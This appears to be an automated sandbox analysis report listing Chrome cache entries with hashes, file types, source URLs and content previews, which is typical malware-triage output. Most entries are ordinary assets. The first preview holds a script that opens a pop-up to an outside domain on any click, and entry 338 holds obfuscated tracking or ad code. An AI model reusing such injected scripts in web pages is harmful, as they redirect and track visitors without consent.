Preview:	<!DOCTYPE html>.<html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script type='text/javascript'>..document.body.onclick= function(){..window.open('https://accompanimentrealistic.com/qqmxnq69g4?key=e9c5afd545019ee1fdd79ed9c52c406f', 'poppage', 'toolbars=0, scrollbars=1, location=0, statusbars=0, menubars=0, resizable=1, width=800, height=600, left = 300, top = 50');..}</script>. Defult metatags -->.<link href='https://sqsq2938.blogspot.com/2024/10/365.html' rel='canonical'/><link href='https://sqsq2938.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/><meta content='width=device-width, initial-scale=1.0, shrink-to-fit=no' name='viewport'/><title>.... .... .... 365 </title><meta content='6002409460088195649' id='gels'/><meta content='' name='theme-color'/><meta content='' name='msapplication-navbutton

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	2.8443062012790885
Encrypted:	false
SSDEEP:	24:dXOnRe6gVlxLauu1Lf5t3IKOeeqieEzxeUe:dd6E2n3ZOeeReEzAT
MD5:	89F05A911C18984C8F36C95A4FE21E75
SHA1:	27DFA3EB642FEBA17D66627E9DF9786593F4785F
SHA-256:	C0A17E81E38193E469818A4E2F8A7739E6CC80933B0A0EE9F69391CC908D3E1D
SHA-512:	0741113CC21883934E3999D1BEF60BE38DCA1C194BF8FAAA8E6B1A8611156819EEF24F5E0566A3CF4914500C7492E6389585205D13C47E02256850EEA2ACCA7A
Malicious:	false
Reputation:	low
URL:	https://www.mycimalive.com/favicon.ico
Preview:	............ .h.......(....... ..... .....@....................t]..t]..t]..oV...........w...........w..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..........................oV..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..iL.......w..........oV..t]..t]..t]..t]..t]..t]..t]..t]..iL..oV..iL...w..oV..iL..oV..oV..t]..oV..t]..t]..t]..t]..t]..oV......................}i..................oV..t]..t]..t]..t]..t]..}i..yd..}i..dD..}i..oV..yd..}i..}i..}i..t]..t]..t]..t]..t]..dD...............w..........................dD..t]..t]..t]..t]..oV...w...................................w..oV..t]..t]..t]..t]..t]..iL..................................iL..t]..t]..t]..t]..t]..t]..dD..................................dD..t]..t]..t]..t]..t]..iL......................yd..................iL..t]..t]..t]..t]..iL..................dD..iL..................iL..t]..t]..t]..t]..t]..iL..dD..dD..iL..t]..t]..iL..dD..dD..iL..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t]..t

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (13674), with no line terminators
Category:	downloaded
Size (bytes):	13674
Entropy (8bit):	5.593634526929694
Encrypted:	false
SSDEEP:	384:mc9Zj7P7pYtVMejYXXGvIiZhapoz9c3pyslA8ImMaaWd:m0Zj7P7pYtVMXo/25RlA3lcd
MD5:	DE1F55D3AC1ECD9D6DCA9AACE196BD25
SHA1:	FF427ED625094E12035F9B9563F89DF9C53B409A
SHA-256:	F288FAA0FFA4474C9287D04715E83FB7EC6BE56FC61E49E93DEB677D6C697537
SHA-512:	275A988993AB08EF5C3C911E41DBC7D4A504348592DD2098EC25F8C8A9947F756945EBFC3EB22C07C889023D591E2FD86460B6D51CD2719E9FAC65A048A4A457
Malicious:	false
Reputation:	low
URL:	https://phicmune.net/ntfc.php?p=8165884
Preview:	(function(x){(()=>{'use strict';var __webpack_modules__=x.g(x.x,(e,t)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C)),t[x.o]=t[x.T]=void x.C;const n=x.v,r=[];function a(e){const t=window[x.Xj][x.Bj][x.Pr][x.wK]\|\|n;[window[t]\|\|[],r][x.mr](t=>{const n=t[x.pk](e);n>-x.pr&&t[x.Gk](n,x.pr)})}t[x.o]=function(e,t,a,o,i){let s;try{o instanceof HTMLScriptElement&&(s=o[x.Tr][x.gk](x.Hk)[x.gK])}catch(e){}const c=window[x.Xj][x.Bj][x.Pr][x.wK]\|\|n;window[c]?window[c][x.mr](e=>{e[x.tr]===a&&e[x.wk]&&(a=e[x.wk],s=e[x.xK])}):window[c]=[];const d=x.g(x.zj,e,x.cr,t,x.tr,a,x.xK,s);i&&(d[x.hk]=x.g(x.vk,i)),r[x.Uj](d),window[c][x.Uj](d)},t[x.T]=function(){r[x.mr](a)}},x.r,(e,t,n)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C)),t[x.p]=void x.C;const r=n(x.k),a=x.g(x.H,x.n);t[x.p]=async function(e){const t=await(x.C,r[x.rr])();if(!t)return e;const n=btoa(JSON[x.dj](t)),o=n[x.bj];return e[x.TK](e=>{const t=e[x.bj];return t<x.nk&&(e+=t+o<x.nk?`&ch=${n}`:`&ch=${btoa(JSON[x.dj](a))}`),e})}},x.K,(e,t)=>{Object[x.m](t,x.R,x.g(x.Lr,!x.C))

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 300x169, components 3
Category:	dropped
Size (bytes):	7466
Entropy (8bit):	7.876031084888772
Encrypted:	false
SSDEEP:	192:bvFcrS1607+YNXs6sW4Aj5LEETOT2zdQfYcF83J:zoYNJxkQdIYPJ
MD5:	DCDFAD1272E6C4FC177C962008A8F73C
SHA1:	25970C2D46DFF98DA3F3A0239C5868AED299FC74
SHA-256:	ECCEE46BB182B048A7DC330F2461A91232BDA16B28AA958DE4E4B65DFB174227
SHA-512:	55C1865C946C2F54AAAFA9247FFA2559FEB7C81AD35385472FC8F59A47D33869188709EAB9255D4EC8A0CCD9722C2186DC156A207BE3F201B2F0FE0E5CE37F08
Malicious:	false
Reputation:	low
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........,......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........,..".............................................................................KL...&.1.e"E"N....j.IB,D....@.$.,.),.....0......-#;4U.N{...^\|..(..C}SYK.A.YR..=.:!.F..7U..Mf..ti.;.0d...nF../...]-]o_...TC...r...g/f[0d.`...h.Nq.7;..ZrgR.<...Qk.i...KB.>.v.v.h..........s...z-..5......^N..;.i.<.~^..c=.W..Lq.......P.D.J2...%-.Y...<.~..'.z.{.;...w=.}....j.s.\|..v..a...R.x.~7.\|...5K.{.!~.8...~..=..@.Q.'.n9.]3...O.qfn^.{.a..Y../..=.c.=..=?...o....>..S.5.<lo...l..._..#.......(9lC..J2.....ttx...\:..NP.:8.....\.q.}V..]/7.....w.5...d\..).J2...'..Qz.Q{.:..D......Fg.]:%...Y........*.......f.P.!..%.6.....A'...QW.%e%k.7s..z....,..\..... .M0@.0......R.$Cq..Q..U.V.0.+......@..!....&.....C..X.4.

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65267), with no line terminators
Category:	downloaded
Size (bytes):	437179
Entropy (8bit):	5.6459186031568
Encrypted:	false
SSDEEP:	12288:GVI6IAEyAoQKi6h8VkKPGuue0FnKejrYG:9RAIKxh8V1PrH0FKeXN
MD5:	D763E78DF0FB549F7519C2BE165B36A7
SHA1:	1C8E173EDFB3138DFAB101B14BD21A6B6A7FF752
SHA-256:	75AA4D62DF66A879F67DCAE55D1C4A7CFB05C430F878E001D0AC6255A6DF2D21
SHA-512:	369183EF46559750069864CEE7AD5BFFC04B358D185CA81DFCE9EC99AEAA1F33679C634AFE5F65C58AE2C7928B1EB7DBE6BDE0D3BAA6B028A4304C5A0C329C07
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/vkui.49fc589a.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[85172],{937608:(e,t,n)=>{n.d(t,{getNearestOverflowAncestor:()=>p,getNodeScroll:()=>v,getWindow:()=>r,isElement:()=>i,isHTMLElement:()=>l});var a=n(153750);function o(e){return s(e)?(e.nodeName\|\|"").toLowerCase():"#document"}function r(e){var t;return(null==e\|\|null==(t=e.ownerDocument)?void 0:t.defaultView)\|\|window}function s(e){return(0,a._)(e,Node)\|\|(0,a._)(e,r(e).Node)}function i(e){return(0,a._)(e,Element)\|\|(0,a._)(e,r(e).Element)}function l(e){return(0,a._)(e,HTMLElement)\|\|(0,a._)(e,r(e).HTMLElement)}function c(e){return"undefined"!=typeof ShadowRoot&&((0,a._)(e,ShadowRoot)\|\|(0,a._)(e,r(e).ShadowRoot))}function u(e){var t=m(e),n=t.overflow,a=t.overflowX,o=t.overflowY,r=t.display;return/auto\|scroll\|overlay\|hidden\|clip/.test(n+o+a)&&!["inline","contents"].includes(r)}function d(e){return["html","body","#document"].includes(o(e))}function m(e){return r(e).getComputedStyle(e)}function v(e){return i(e)?{scrollLef

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=1, software=Google], baseline, precision 8, 320x213, components 3
Category:	dropped
Size (bytes):	17702
Entropy (8bit):	7.960488239979479
Encrypted:	false
SSDEEP:	384:1qD1j3oebJyKvwp82WsKaK/p21i8vAj/rQIuTXBSbA2:1q3o5Kvwp/KaK4cUIuTXkbA2
MD5:	1E1B2CCEB3D372BC9548DB27F63E43A9
SHA1:	E77660D60CFCCD2CD459AA6C192D4F0E764AB253
SHA-256:	EA688D44A3623C439268F130191FF66612E267BDB9D5F0C70631D738696DF9BA
SHA-512:	1D34F83FB9F421798B27C35A27E3471FC3D44F71B9C5889CEF60DBBA37FC41085489235590E0E342D808F6C1C25FB0213549935140DFB55DE7B5461D1AAAF50B
Malicious:	false
Reputation:	low
Preview:	......JFIF.............Exif..II.......1...............Google................................................................................................................................................@............................................B........................!..1A.."Q2aq....#BR...3br....$C.....Sc.................................,......................!..1"..A.2Qq#a..3...............?..-..7$...\R.ml.w..w..@.b.>.....D.A..=...x....>../x).=.i.D.r......iy......G..l..N...&...^.../D...1.S..qL%...d.p)....5...D......F..4..!.MWD.G-.o.u....z.Gn.P..y[..`;..Y>.5..P;.(......9;.T.Ly...0qL..H....2v.+..".$tq......34.Q...3f..T.A.f.@v.^..j..C.....m.#g..4ta.H8?.bG..TY\...5..?..#..ip.@.W5..$E...;.t...h?..W@...f..H..'.....oo.g....g...SnA....z.P.Trf.Fm\|B+......{..a.9.6..~f...Vrr>Wn..4..C..E.B.vt..9.l....4D...N..,..'n......qY..-..b..e..\....8[z.(l6..$.U.`..o.].B72mLH..!.5M.?..2C.'.G.>.....`.Q!M.n.....J....6h...3_0..C!/.9..}.2..3.O.~.".e.W.[V.j...vU<.ux........7

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (58508)
Category:	dropped
Size (bytes):	217249
Entropy (8bit):	5.409689090252663
Encrypted:	false
SSDEEP:	6144:ZcFn73R6iFFAl8AJQ+06AQAYmHnDB+PzdX5bJ7J4Al8AJQ+06AQAYmHnDB+BU:ZHzdX5bJ7NU
MD5:	4A0197664656FAEFC359DE00F1F5D45C
SHA1:	DFAB9C8A2F8EC3431948A0FDA8B2403ABAF3D485
SHA-256:	798E60D5ECC5E2B95560E042772EFA013FC5D5E3A8B4F8446EB99EF680E5A8CB
SHA-512:	52183FD0C5154BC80D94887F3A7204676D82F0A33FEB765CFBD5FAE3A4574B519562455928D1F733BB0ACFC0C7D35220C75D5C0415FA24B6D03D6580FC88EF4D
Malicious:	false
Reputation:	low
Preview:	window.langConfig = {"id":3,"locale":"en","numDel":",","numDelS":",","numDec":".","prepTags":false,"prep":[],"parent":0,"timeSys":["12hour","am","pm"],"yearOffset":0,"flexLast":false,"revOrder":false,"RTL":false,"numRules":{"int":[[0,[1],1],["",0,2]],"float":2},"sexRules":[[1,2],["",1]],"larr":"←","rarr":"→"}; window.larr = langConfig.larr; window.rarr = langConfig.rarr;.window.lang = Object.assign(window.lang \|\| {}, {"Month1":"January","Month10":"October","Month10_of":"October","Month11":"November","Month11_of":"November","Month12":"December","Month12_of":"December","Month1_of":"January","Month2":"February","Month2_of":"February","Month3":"March","Month3_of":"March","Month4":"April","Month4_of":"April","Month5":"May","Month5_of":"May","Month6":"June","Month6_of":"June","Month7":"July","Month7_of":"July","Month8":"August","Month8_of":"August","Month9":"September","Month9_of":"September","Save":"Save","Sex_fm":"Female","Sex_m":"Male","abuse_user_abuse_description":"Why do yo

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3514
Entropy (8bit):	7.901379556986315
Encrypted:	false
SSDEEP:	96:tuPvRrGRV7Rz2oy2ydyD7DOGRTaY2/xpDlq8mY7:g31GR5F2wyQ7DOGEDgu7
MD5:	3AE8C89C8ABE0993AFE6CD44C926CF88
SHA1:	E1F0C0785A5588C715AD41344609E6FB8DEBA9AD
SHA-256:	9AFC69ABB9F363EF0C2A1DCA6B641F2FAE81F387760B36AC4CF25217BFA74364
SHA-512:	60A4AE54F08E5EFBB6CFDD4E33B41DC5F721A9E7FC3B66FB169BC33368758080D88297D344E0A4F02759C1E7960A65FDFC024F914814E86C11E96971AA310E31
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/a/AVvXsEgc5N711LzOz4iNi3xi8pKVeX5gkv9MZWih5ACBCf6qslJOmWdT2u9DMUW8EPNyL_vWulCbbU2Y_UNgTzB7DL-R8FTebR49t2DM3JNeXbA8ROjCJUcgmT_sToEDzUzZ9bl5_ETfIk1YAUbRLEPhE7XNYdyr6NuAu0boEGYH0PjvTciStuR24xcyccktybY=s1280
Preview:	.PNG........IHDR...<...<.....:..r....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATh..[{pTU...s.."..tg...+.H ...B-.....q78.uYK..g.rw-.....f.Z.t.-.1..)q.....V...IL.!..@...6.G'.}.........$.I:....rs....=...w......`.A...........UUa.........P(...>..v...a.e..l0....bhhH.D".:::6......wc8...D"6UUe..$).p8.Q..**:...\..M.6]q8....<....R.X,...!..v.?.. ...f..R.I.....r.J....1f.K4}.".A..n..i.>..../\.p.__.=.@.LUU{.z..A.4.X\|......$Ikmm..h......K............GX........MMM..9s....NG.....+..\|...{.......~[VVv.j..I..B...0...,#...jii......p8.s+n.....G.......Z^^..M..,((8E).....K..J...........P(wN.S...._~...K.n...~..eY.KU...B`.Zq.....k.......L@.u......w.....7........ ..X,8r..\|..'/.B...o...(.....k.~]SS..j..W...(....?..gG...~S3..p....{..OK.42S.......a...[.jmm...f.---{\|>_Imm....{.wE...D..(....H.C(v.2..........0......5T...VW.0..L.y..-zzz6...._.v..V.u4....G....=...cccx.W...w...

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53274)
Category:	downloaded
Size (bytes):	54548
Entropy (8bit):	5.742763871366912
Encrypted:	false
SSDEEP:	1536:jX2zGX4cuQZ2VrDwVwXNklTsOYXohtSmp:jrZc8wdjbmp
MD5:	E5EE0EDC72C797DD0D925EC2A9591D1E
SHA1:	AB53C9AD69A4439A904370EBDE066A36E9FDB62B
SHA-256:	3D2A0CD248EC0FF9534E4AE9FC9E9F5FDAB7B68787F058F78FBC40D25D864000
SHA-512:	FA4D3C7CE8E06131F31D9299F414983F92077EC02B4883D727B93E4BC99B3595C86B9382E7DB6A6351B7B9941D79BD8E5502A1710E2C5934125CB8829B8E0F96
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/bg/PSoM0kjsD_lTTkrp_J6fX9q3toeH8Fj3j7xA0l2GQAA.js
Preview:	//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjogMywic291cmNlcyI6WyIiXSwic291cmNlc0NvbnRlbnQiOlsiICJdLCJuYW1lcyI6WyJjbG9zdXJlRHluYW1pY0J1dHRvbiJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEifQ==.(function(){function Y(J){return J}var W=this\|\|self,L=function(J,u,V,g,K,n,P,p,G,q,U,F){for(U=(q=g,45);;)try{if(q==54)break;else if(q==17)q=G&&G.createPolicy?J:21;else{if(q==3)return U=45,p;if(q==21)return p;q==J?(U=44,p=G.createPolicy(n,{createHTML:a,createScript:a,createScriptURL:a}),q=3):q==V?(W.console[K](F.message),q=3):q==46?(U=45,q=u):q==u?q=W.console?V:3:q==g&&(p=P,G=W.trustedTypes,q=17)}}catch(h){if(U==45)throw h;U==44&&(F=h,q=46)}},a=function(J){return Y.call(this,J)};(0,eval)(function(J,u){return(u=L(48,81,50,89,"error","bg",null))&&J.eval(u.createScript("1"))===1?function(V){return u.createScript(V)}:function(V){return""+V}}(W)(Array(Math.random()*7824\|0).join("\n")+['//# sourceMappingURL=data:application/json;charset=utf-8;base64,ey

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	68381
Entropy (8bit):	5.278301370998964
Encrypted:	false
SSDEEP:	1536:IIHEUholkOvX9DDnDRRCPRCTVh/pyh7E9F8/679JtIQ/ax0KUW+SWDygMih9EgPy:IvJ9W8VbjhjO2Dblhs
MD5:	1F214EC31D8AF77A75AB54F8F89C40CC
SHA1:	0AB15D58730328F6D8A40CFE0CD9C6A125233212
SHA-256:	42E11AC79A2E7809584C992F82FA7EB625F52FF504457543F888CA776004558E
SHA-512:	9DC1CEE07A458323CB032A2C3D018A3076C7B4DF63301068FD56D1239C83A7DEC2F6154A1725DCAD689A6169802C05825B0E813EF10EF850AA3080EB652890EF
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/css/al/base.d7fd137c.css
Preview:	.:root{--azure_a100:#0077ff;--azure_300:#397dcc;--azure_a400:#2a6fbd;--azure_a500:#2363aa;--black:#000000;--black_alpha4:rgba(0, 0, 0, 0.04);--black_alpha8:rgba(0, 0, 0, 0.08);--black_alpha12:rgba(0, 0, 0, 0.12);--black_alpha16:rgba(0, 0, 0, 0.16);--black_alpha24:rgba(0, 0, 0, 0.24);--black_alpha36:rgba(0, 0, 0, 0.36);--black_alpha40:rgba(0, 0, 0, 0.40);--black_alpha48:rgba(0, 0, 0, 0.48);--black_alpha56:rgba(0, 0, 0, 0.56);--black_alpha72:rgba(0, 0, 0, 0.72);--black_alpha88:rgba(0, 0, 0, 0.88);--black_blue10:#000c1a;--black_blue24:#001c3d;--black_blue24_alpha8:rgba(0, 28, 61, 0.08);--black_blue24_alpha24:rgba(0, 28, 61, 0.24);--black_blue30_alpha66:rgba(0, 36, 77, 0.66);--black_blue45_alpha10:rgba(0, 57, 115, 0.10);--blue_400:#5181b8;--blue_a400:#447bba;--blue_400_alpha20:rgba(81, 129, 184, 0.20);--blue_400_alpha48:rgba(81, 129, 184, 0.49);--blue_420:#4a76a8;--blue_550:#346297;--blue_600:#2a5885;--blue_640:#224b7a;--blue_800:#1d3a5c;--blue_980_alpha12:rgba(0, 20, 51, 0.12);--blue_br

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	5.593933353445556
Encrypted:	false
SSDEEP:	24:Dy8xlGzGQKKlixEOKJKdahDvNYIQkUUUUUUUUI:uOQz9hjU
MD5:	668BA1A9FA1890BA16CB8ADC28D3DAD8
SHA1:	5E35223B2541265114EAF61B9DA2556C812FEA17
SHA-256:	7746CF1B553433822522F2DC432F55FE64EEE1F1CF823EF6ADFDE02E58E1D7E2
SHA-512:	212AA3E6EA6A2DD1ABC10D4A96B7BE179E0E490DA187641AE3BE7B7C0C30B7272D8D5B37B1C6CA5C75732DFB35A8EE30FA97CDB35704B97EEEE11A2163E53664
Malicious:	false
Reputation:	low
URL:	https://phaivusaido.com/favicon.ico
Preview:	............ .h.......(....... ..... ........................................Hccc.................................aaa.....................999.yyy.......................................9................ggg.....................................\\\....9...........4......................................fff.```....9...........9........................................```.```....9...........9..................lll.mmm.kkk.........```.```....9...........9........................................```.```....9...........9......................................```.```....9...........9..........~~~.....eee.fff.ddd.........```.```....9...........9......zzz.............................```.bbb....6...........9......mmm.\|\|\|.........................```.{{{.000 ...........9......SSS.BBB.....rrr.rrr.ppp.........```.ccc....6...........6........................................^^^.JJJ....4........... ........................................SSS....................6............................zzz...

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65531), with no line terminators
Category:	dropped
Size (bytes):	109845
Entropy (8bit):	5.5669435274951
Encrypted:	false
SSDEEP:	1536:L2Utc+g2OQ6HR0Djgq45IErMVc9uWBESrhLL3jfPpje/3YxyyjGTn:L2QgRTij8rFrfS/3Yxyyjq
MD5:	E8DF6312BDFCD275B32AEA3831876A32
SHA1:	AAD8472FF22ADFD19B766667371BED19B56652C3
SHA-256:	7AD444443F2A7AC91CBC78D2FAD78B3FDD97CEBD45665AE2AD4AB31EB746DB66
SHA-512:	F9917B4E702EB0ECA86DBDFD57CCC1D35042F1E52D4E203D1970B257AA942953810FB22CC717E40BFB33CD3E8ACBE092B7460B83331B559A5DF5419713A8A56E
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[77274],{316032:(e,t,o)=>{function i(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="currentColor" viewBox="0 0 12 12"><path fill-rule="evenodd" d="M4.22 2.47a.75.75 0 0 1 1.06 0l3 3a.75.75 0 0 1 0 1.06l-3 3a.75.75 0 0 1-1.06-1.06L6.69 6 4.22 3.53a.75.75 0 0 1 0-1.06Z" clip-rule="evenodd"/></svg>',name:"chevron_12"}}o.d(t,{getIcon12Chevron:()=>i})},126415:(e,t,o)=>{function i(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="currentColor" viewBox="0 0 12 12"><path d="m8.53 4.69.06.18-.22-.63a.83.83 0 0 0-1.6.47l.13.48-.23-.85a.82.82 0 0 0-1.6.24l-.73-2.93a.85.85 0 0 0-1.65.4L4 7.34 2.87 6.18A.8.8 0 0 0 1.66 7.2l2.23 2.94s1.23 1.83 4.3 1.23c2.43-.48 3.25-2.67 2.59-4.88l-.56-2.3a.88.88 0 1 0-1.7.49Z"/></svg>',name:"hand_point_up_12"}}o.d(t,{getIcon12HandPointUp:()=>i})},638770:(e,t,o)=>{function i(){return{icon:'<svg xmlns="http://www.w3.org/2000

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 10256, version 1.0
Category:	downloaded
Size (bytes):	10256
Entropy (8bit):	7.979224181050271
Encrypted:	false
SSDEEP:	192:f1Hlb/UvbtLTSjJACmwJCyE5+oa77IdgOpb9d8mKWyu1rPj13BFnFTlqy7:fLKLOnma1WXaypRjVXFJqG
MD5:	F18EB7346BAE415C6367ED0907125227
SHA1:	A9E8E937C5AFC2F9FEB46BFCB8FA854728A494A8
SHA-256:	B081F7BF790678B56A2C0502651D6873CBABC09E78FE40655DF15F918B1E369B
SHA-512:	87F620CFDFD5C1ABDDDE9D19346CC0AB34FECFA359933FD31517FFD4BC6FAAD040C033BD89ACE9D5BA00B7A51AAAC2DF73417D99E3535BA970C744312E415E7F
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/tajawal/v10/Iura6YBj_oCad4k1nzGBCw.woff2
Preview:	wOF2......(.......bd..'...........................F..v.`........x.o..:..6.$..p. .....v...&OE.b.8.....E.$..(..........x..2.NT...p.-J.}P..,...(.ci..>..~.....A;....].;Bc...@?...I....$D.....B$...........(.@`..X.E...+.....H+.....X......z..W.^.?....~0"!.p2..%..BAJR.bQ_.{..t!8L&:9.L..I.R.D".....T...V..b.\ .?...J.j..'........$..v....Q.......I..9..3.D.....M..<..?.'....h.u.o.!H.6..w..D./...0..6....}...O.?..X_.XI....`...1.L...2.oL...8..o.W\|..-..X.4.....q..B#mJE..'.......P..UFd.b.h...h....A....xY..j.#.K.D.ZY......d.0..:..........z........... .......@...........M...vSHwh......z+.!.....L5.......fuk...Ecvn...L.k....z.,..KXF.B..\....7...pi.8....(....n5jy.1W.y.5j..O......b..v.i....q.Q.4j.3.:....2.+M8.`i\ ....p9?B...A..@8,..c...R<?%P.8.Z........8.....`...3h4t...4.1d.......".p..ra..P.%...@.0..q..y...B.?,......,..R.....C..7l.....:c.Y,......6......@v....P..R..~.?.3g.Y..3-.&...x..3...o.C^...o.?....W..N....V.T?..W.Vr.rs....4]....._A.....8W.l..&}.n..4..rY..]...*.

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.6234651896016468
Encrypted:	false
SSDEEP:	3:YWR4brk7VBn:YWybrm
MD5:	D3D22A2C483EA5BF5E1B887D19B710E9
SHA1:	31E5F0A94EAC2CCFF4801AA97255701460C3C078
SHA-256:	4C7BF259CF71E49AA671EA413172DA39DCD72C8B7E34948C01E21F5585370602
SHA-512:	85EF64BF19C397B0F34DDF055AA27F732078C8DACE8DAAA3AE3BC9D50B81453C3621EA936FAC49BF9F194CA9905717DD8BDEF9FCBDDE972FD099FB3C022714BE
Malicious:	false
Reputation:	low
Preview:	{"status":0,"error":1001}

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65533), with no line terminators
Category:	downloaded
Size (bytes):	78670
Entropy (8bit):	5.211213458301385
Encrypted:	false
SSDEEP:	1536:NOKs3GUrClDARXgxYmST2Wuu3XDWvEP0yldrM1YPJlMUBBddrA19lei6q3JO5SEE:VsJ1RXoYLT2WuunDs83dA+PTMU1d8RNd
MD5:	658F13A26793B44AD392AC2FBAA60EF2
SHA1:	535DDE5B12089C894379274C241854DFAD199A3B
SHA-256:	F68F35CE41EA49F22E818F2B3A7BE27A18FD8BED19305600FAB107543AA6A406
SHA-512:	9D4BA05FF57EC99EF340A0C4DCB77C9CA5DDFFF026C333E9A96E4C82919F4168D58CF88C5D31B85B5546664F6E7DCACF54288668BFBB14E045B5F409E5DE8E16
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/state-management.e532e667.js
